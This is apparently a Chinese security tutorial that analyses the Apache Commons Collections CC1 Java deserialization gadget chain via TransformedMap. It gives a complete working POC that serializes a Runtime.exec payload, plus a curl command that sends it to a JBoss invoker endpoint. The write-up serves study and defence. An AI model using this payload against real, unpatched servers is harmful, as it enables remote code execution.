0x00 CommonsCollections1链简介 Apache Commons Collections介绍 Apache Commons Collections是Apache Commons项目中的一个子项目,它提供了一套丰富的Java集合类和实用工具,用于增强和扩展 Java 标准库中的集合框架。这个项目旨在填补标准Java集合框架中的一些缺失,并提供更多功能强大的集合类和工具,以便Java开发者能够更轻松地处理各种集合操作。
CommonsCollections1链的两种不同利用方式 2015年1月,加州AppSec安全会议上,Chris Frohoff和Gabe Lawrence发表《Marshalling Pickles》主题演讲,在演讲中就CommonsCollections1完整调用链做出了演示,其中所用到的中间Gadget链是LazyMap
类,这在随后发布的知名反序列化工具Ysoserial中所包含的CommonsCollections1链(以下简称CC1链)也同样如此。
2015年10月28日,Matthias Kaiser首次在他的《Exploiting Deserialization Vulnerabilities in Java》演讲中提到了另一种使用TransformedMap
类作为中间Gadget链的CC1链利用方式,这种利用方式相比前者更加地简单。
2015年11月6日,breenmachine发表了一篇利用Ysoserial工具中的CC1链攻击WebLogic、WebSphere、JBoss、Jenkins等知名应用程序的文章,原因在于这些应用中大量使用了Commons Collections组件。
影响范围 如上提到的俩种不同的利用方式(LazyMap
/TransformedMap
),不管是哪种,所受影响的范围都是相同的。首先JDK版本要求小于8u71,其次对于Commons Collections的版本要求在3.2.2以下并且3.0以上,可以直接通过Maven引入依赖,只要版本号小于等于3.2.1且大于等于3.1即可。
1 2 3 4 5 6 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
0x01 准备工作 Java版本的选择 在Java 8u71这个版本中,有对sun.reflect.annotation.AnnotationInvocationHandler#readObject
方法进行修改,从原来的Map
对象变为LinkedHashMap
对象,这样就会造成CC1链中构造的Map
无法进行put或set,从而导致该链的构造失败。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { - s.defaultReadObject(); + ObjectInputStream.GetField fields = s.readFields(); + + @SuppressWarnings("unchecked") + Class<? extends Annotation > t = (Class<? extends Annotation >)fields.get("type" , null ); + @SuppressWarnings("unchecked") + Map<String, Object> streamVals = (Map<String, Object>)fields.get("memberValues" , null ); AnnotationType annotationType = null ; try { - annotationType = AnnotationType.getInstance(type); + annotationType = AnnotationType.getInstance(t); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); + + Map<String, Object> mv = new LinkedHashMap <>(); - for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { + for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) { String name = memberValue.getKey(); + Object value = null ; Class<?> memberType = memberTypes.get(name); if (memberType != null ) { - Object value = memberValue.getValue(); + value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { - memberValue.setValue( - new AnnotationTypeMismatchExceptionProxy ( + value = new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( - annotationType.members().get(name))); + annotationType.members().get(name)); } } + mv.put(name, value); + } + + UnsafeAccessor.setType(this , t); + UnsafeAccessor.setMemberValues(this , mv); + }
所以对于CC1链的调试、研究学习,所需的Java版本必须小于8u71版本,8u66版本就是一个临界的选择。但在调试过程中可以发现,JDK中关于sun包都是反编译的class文件,这会影响到代码的阅读。
添加sun源码 JDK在f8a528d0379d这个commit中对sun.reflect.annotation.AnnotationInvocationHandler#readObject
方法进行了修改。
那便下载这个commit的parents的zip,下载链接https://hg.openjdk.org/jdk8u/jdk8u/jdk/archive/af660750b2f4.zip 。
文件哈希如下。
1 MD5 (jdk-af660750b2f4.zip) = 696c4e77c75dd620a20d560d4e30c551
下载jdk-af660750b2f4.zip文件至本地后,先将本地JDK 8u66安装目录中的src.zip解压,解压后的src文件夹同样放置在JDK 8u66安装目录中。最后将jdk-af660750b2f4.zip中src/share/classes
下的sun文件夹复制到JDK 8u66安装目录下的src目录中。
再回到IDEA中,在IDEA的项目结构中添加如上目录作为一个源路径。
再次进入到AnnotationInvocationHandler
这个类,可以发现已经变成java文件了。
org.apache.commons.collections.Transformer
是Commons Collections中的一个接口类,用于定义一个将一个对象转换为另一个对象的函数接口,该接口提供了一个待实现的transform
方法执行转换操作。
1 2 3 4 5 6 7 8 9 10 11 12 package org.apache.commons.collections;public interface Transformer { public Object transform (Object input) ; }
Transformer
接口有几个重要的实现类,如InvokerTransformer
、ConstantTransformer
、ChainedTransformer
,如下将逐一介绍这些实现类及transform
实现方法。
InvokerTransformer
这个类是CC1链中的关键sink类,它是Transformer
接口的一个实现类,且实现了Serializable
,这意味着可以参与序列化。该类代码如下,已经省去多余无关的代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 package org.apache.commons.collections.functors;import java.io.Serializable;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import org.apache.commons.collections.FunctorException;import org.apache.commons.collections.Transformer;public class InvokerTransformer implements Transformer , Serializable { private static final long serialVersionUID = -8653385846894047688L ; private final String iMethodName; private final Class[] iParamTypes; private final Object[] iArgs; public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; } public Object transform (Object input) { try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { } }
在其中,InvokerTransformer
方法接收三个参数,分别是要调用的方法名、方法参数类型、以及方法参数值,transform
方法则能够根据接收的类对象使用反射进行动态调用,这便是造成任意命令执行的根本原因。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;public class SinkTest { public static void main (String[] args) throws Exception { Transformer t = new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"open -a Calculator.app" } ); t.transform(Runtime.getRuntime()); } }
在如上示例代码中,首先使用InvokerTransformer
创建了一个Transformer t,指定了要调用的方法名为"exec"
,方法参数类型为String.class
,方法参数值为{"open -a Calculator.app"}
。随后将Runtime.getRuntime()
作为参数传递给了t的transform()
方法,这里将会调用Runtime.getRuntime().exec("open -a Calculator.app")
方法 ,这样便能够达到命令的执行。
ConstantTransformer
同样是Transformer
接口的一个实现类,也同样实现了Serializable
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package org.apache.commons.collections.functors;import java.io.Serializable;import org.apache.commons.collections.Transformer;public class ConstantTransformer implements Transformer , Serializable { private static final long serialVersionUID = 6374440726369055124L ; private final Object iConstant; public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; } }
这个类用于创建一个每次都返回相同常量值的Transformer,transform
方法接收传入的对象不会经过更改直接返回,示例代码如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package com.javasec.cc;import org.apache.commons.collections.functors.ConstantTransformer;public class ConstantTransformerTest { public static void main (String[] args) { ConstantTransformer t = new ConstantTransformer (Runtime.class); System.out.println(t.transform(Runtime.class)); } }
ChainedTransformer
类也实现了Transformer
和Serializable
接口,该类用于将多个Transformer链在一起,形成一个Transformer链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 package org.apache.commons.collections.functors;import java.io.Serializable;import java.util.Collection;import java.util.Iterator;import org.apache.commons.collections.Transformer;public class ChainedTransformer implements Transformer , Serializable { private static final long serialVersionUID = 3514945074733160196L ; private final Transformer[] iTransformers; public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }
同时它提供了一个transform
方法用于执行转换操作,依次将输入对象传递给链中的每个Transformer进行处理,并且每个Transformer的转换结果将作为下一个Transformer的输入。那么现在就可以将InvokerTransformer
、ConstantTransformer
、ChainedTransformer
三者组合起来,实现一个本地命令执行的调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class ChainedTransformerTest { public static void main (String[] args) { Transformer[] ts = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] } ), new InvokerTransformer ( "invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] } ), new InvokerTransformer ( "exec" , new Class [] {String.class }, new Object [] {"open -a Calculator" } ) }; Transformer tc = new ChainedTransformer (ts); Object transform = tc.transform(null ); } }
org.apache.commons.collections.map.TransformedMap
类继承自AbstractInputCheckedMapDecorator
,间接实现了Map
接口,它是一个装饰类,用于装饰其它Map
对象,并对其键和值进行转换。TransformedMap
中的decorate
方法接收三个参数,类型分别是Map、Transformer和Transformer,这个方法用于创建一个装饰后的Map
实例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable { private static final long serialVersionUID = 7023152376788900464L ; protected final Transformer keyTransformer; protected final Transformer valueTransformer; public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); } protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; } protected Object transformKey (Object object) { if (keyTransformer == null ) { return object; } return keyTransformer.transform(object); } protected Object transformValue (Object object) { if (valueTransformer == null ) { return object; } return valueTransformer.transform(object); } protected Map transformMap (Map map) { if (map.isEmpty()) { return map; } Map result = new LinkedMap (map.size()); for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) { Map.Entry entry = (Map.Entry) it.next(); result.put(transformKey(entry.getKey()), transformValue(entry.getValue())); } return result; } protected Object checkSetValue (Object value) { return valueTransformer.transform(value); } public Object put (Object key, Object value) { key = transformKey(key); value = transformValue(value); return getMap().put(key, value); } public void putAll (Map mapToCopy) { mapToCopy = transformMap(mapToCopy); getMap().putAll(mapToCopy); } }
当TransformedMap
中的put
或putAll
方法被调用时,在其中会调用transformKey
和transformValue
方法,这两个方法中存在对输入对象的transform
方法调用。
除了put
或putAll
方法外,当调用继承自AbstractInputCheckedMapDecorator
类的setValue
方法,在其中存在对parent.checkSetValue
方法的调用,即调用TransformedMap
中的checkSetValue
方法,checkSetValue
方法中同样存在对输入对象的transform
方法调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
那么结合以上的InvokerTransformer
类中的transform
,当传入一个恶意的ChainedTransformer
至decorate
方法中,并执行setValue
方法时,就会触发命令的执行。注意,decorate
方法接收的第一个参数是一个Map,但这个Map不可以为空,否则就会在org.apache.commons.collections.map.AbstractMapDecorator#AbstractMapDecorator(java.util.Map)
中抛出异常。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class TransformedMapTest { public static void main (String[] args) { Transformer[] ts = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"open -a Calculator" }) }; Transformer tc = new ChainedTransformer (ts); Map m = new HashMap (); m.put("x" , "x" ); Map tm = TransformedMap.decorate(m, null , tc); for (Object obj : tm.entrySet()) { Map.Entry entry = (Map.Entry) obj; entry.setValue("test" ); } } }
0x04 AnnotationInvocationHandler Kick-off类 在如上的演示中,我们通过TransformedMap
类中的setValue
方法触发命令的执行,但在实际反序列化利用中,还需要一个重写了readObject
方法且其中存在类似操作的类,这个类就是Kick-off入口类,即sun.reflect.annotation.AnnotationInvocationHandler
。
构造方法 AnnotationInvocationHandler
类的构造方法如下,接收两个参数,第一个就是Annotation实现类的Class对象,第二个则是键为String值为Object的Map对象,在其中会对superInterfaces
进行长度是否为一和是否是java.lang.annotation.Annotation.class
的判断,如果条件成立,才会将接收的参数初始化到type
和memberValues
成员变量中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class AnnotationInvocationHandler implements InvocationHandler , Serializable { private static final long serialVersionUID = 6182022883658399397L ; private final Class<? extends Annotation > type; private final Map<String, Object> memberValues; AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; } }
readObject方法 在重写的readObject
方法中,首先调用了defaultReadObject
方法恢复默认的反序列化操作,以读取type
和memberValues
字段的值;然后利用AnnotationType.getInstance(this.type)
方法获取type
这个注解类所对应的AnnotationType
对象,并获取memberTypes
;随后对memberTypes
的成员值进行了遍历,对于每个成员值,如果既不是memberValue的实例也不是ExceptionProxy的实例,就会获取这个成员值,并调用setValue
方法将其转换为异常代理并设置异常信息。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue(new AnnotationTypeMismatchExceptionProxy (value.getClass() + "[" + value + "]" ).setMember(annotationType.members().get(name))); } } } }
反射调用 由于AnnotationInvocationHandler
是一个内部API专用类,在外部无法通过类名创建出AnnotationInvocationHandler
类实例,所以需要通过反射创建AnnotationInvocationHandler
对象,并且AnnotationInvocationHandler
构造方法接收的第一个参数,需要是一个有属性的注解,如Target.class
,而且在传入TransformedMap.decorate
方法中的第一个Map参数不可为空且键需要为前者(Target.class
)的方法名,否则在AnnotationInvocationHandler.readObject
方法中无法通过(memberType != null)
这个if判断。
1 2 3 4 5 6 7 8 package java.lang.annotation;@Documented @Retention(RetentionPolicy.RUNTIME) @Target(ElementType.ANNOTATION_TYPE) public @interface Target { ElementType[] value(); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Transformer tc = new ChainedTransformer (ts);Map m = new HashMap ();m.put("value" , "value" ); Map tm = TransformedMap.decorate(m, null , tc);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor cst = c.getDeclaredConstructor(Class.class, Map.class);cst.setAccessible(true ); Object instance = cst.newInstance(Target.class, tm);
0x05 利用代码及漏洞验证 根据以上所有的结合起来,构造如下的一个最终POC。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 package com.javasec.cc;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class CC1TransformedMap { public static void main (String[] args) throws Exception { Transformer[] ts = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class [] {String.class, Class[].class }, new Object [] {"getRuntime" , new Class [0 ] }), new InvokerTransformer ("invoke" , new Class [] {Object.class, Object[].class }, new Object [] {null , new Object [0 ] }), new InvokerTransformer ("exec" , new Class [] {String.class }, new Object [] {"open -a Calculator" }) }; Transformer tc = new ChainedTransformer (ts); Map m = new HashMap (); m.put("value" , "value" ); Map tm = TransformedMap.decorate(m, null , tc); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor cst = c.getDeclaredConstructor(Class.class, Map.class); cst.setAccessible(true ); Object instance = cst.newInstance(Target.class, tm); FileOutputStream f = new FileOutputStream ("src/main/resources/cc1.ser" ); ObjectOutputStream fout = new ObjectOutputStream (f); fout.writeObject(instance); } }
现在,向一个存在反序列化漏洞且JDK版本小于8u71的Jboss环境发送如上生成的恶意序列化数据,效果符合预期,如下图,成功弹出计算器。
1 2 3 4 curl -H "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue" --data-binary "@cc1.ser" http://localhost:8080/invoker/readonly <html><head ><title>JBoss Web/3.0.0-CR2 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color: org.jboss.invocation.http.servlet.ReadOnlyAccessFilter.doFilter(ReadOnlyAccessFilter.java:106) </pre></p><p><b>note</b> <u>The full stack trace of the root cause is available in the JBoss Web/3.0.0-CR2 logs.</u></p><HR size="1" noshade="noshade" ><h3>JBoss Web/3.0.0-CR2</h3></body></html>
完整Gadget调用链如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() TransformedMap.setValue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
0x06 参考